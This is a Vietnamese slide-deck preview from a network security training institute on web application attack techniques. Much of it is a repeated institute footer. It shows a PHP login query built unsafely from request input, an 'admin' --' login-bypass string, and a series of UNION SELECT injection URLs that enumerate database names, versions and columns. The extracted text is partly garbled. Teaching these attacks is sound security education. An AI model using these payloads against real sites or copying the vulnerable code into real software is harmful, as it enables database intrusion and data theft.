Kỹ thuật tấn công ứng dụng trên web

Tìm kiếm thông tin ứng dụng Web. thăm dò lổ hổng bảo mật, thử xâm nhập ứng dụng cmd, upload. Thực hiện tấn công: upload tool, lấy cắp thông tin, mở rộng quyền hạn...

pdf45 trang | Chia sẻ: franklove | Lượt xem: 2804 | Lượt tải: 1download
Bạn đang xem trước 20 trang tài liệu Kỹ thuật tấn công ứng dụng trên web, để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
SECURITY Career Institute of Network Security – istudy.edu.vn Trình  bày:  Chuyên  viên  an  ninh  mạng  Lê  Nguyễn  Trường  Giang   SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn Ø Xây  dựng  và  triển  khai  ứng  dụng  Web   SECURITY Career Institute of Network Security – istudy.edu.vn Ø   Hạ  tầng  ứng  dụng  Web   SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn Ø   Ứng  dụng  Web:   SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn $name  =  $_REQUEST['name'];   $passwd  =  $_REQUEST['passwd'];   $query_string  =  "SELECT  *  FROM  users  WHERE  username  =   '$name'  AND  password  =  '$passwd'";                  Login:                    Password:     SELECT  *  FROM  users  WHERE  username  =  ’admin’  -­‐-­‐    '  AND   password  =  ’;   SECURITY Career Institute of Network Security – istudy.edu.vn CorpSite Forum_data ?????_data INFORMATION_SCHEMA users Id User Pass 1 Admin 123 10 Guess guest Sản phẩm col1 col2 coln … … … Tin Tức col1 col2 coln … … … SECURITY Career Institute of Network Security – istudy.edu.vn 1.  hbp://[site]/page.asp?id=1  UNION  SELECT  ALL  1,2,3,4-­‐-­‐   2.  hbp://[site]/page.asp?id=1  UNION  SELECT  ALL  1,DB_NAME,3,4-­‐-­‐     3.  hbp://[site]/page.asp?id=1  UNION  SELECT  ALL  1,@@VERSION, 3,4-­‐-­‐   4.  hbp://[site]/page.asp?id=1    UNION  SELECT  ALL  1,column_name, 3,4  from  DBNAME.informaWon_schema.columns  where   table_name='TABLE-­‐NAME-­‐1'-­‐-­‐     5.  hbp://[site]/page.asp?id=1    UNION  SELECT  ALL  1,COLUMN-­‐ NAME-­‐1,3,4  from  TABLE-­‐NAME-­‐1-­‐-­‐   SECURITY Career Institute of Network Security – istudy.edu.vn hbp://xxx.com/newsDetail.php? id=8  union  seclect  1,@@version,   column_name,4,5,6,7  from   InformaWon_schema.columns-­‐-­‐   SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn SECURITY Career Institute of Network Security – istudy.edu.vn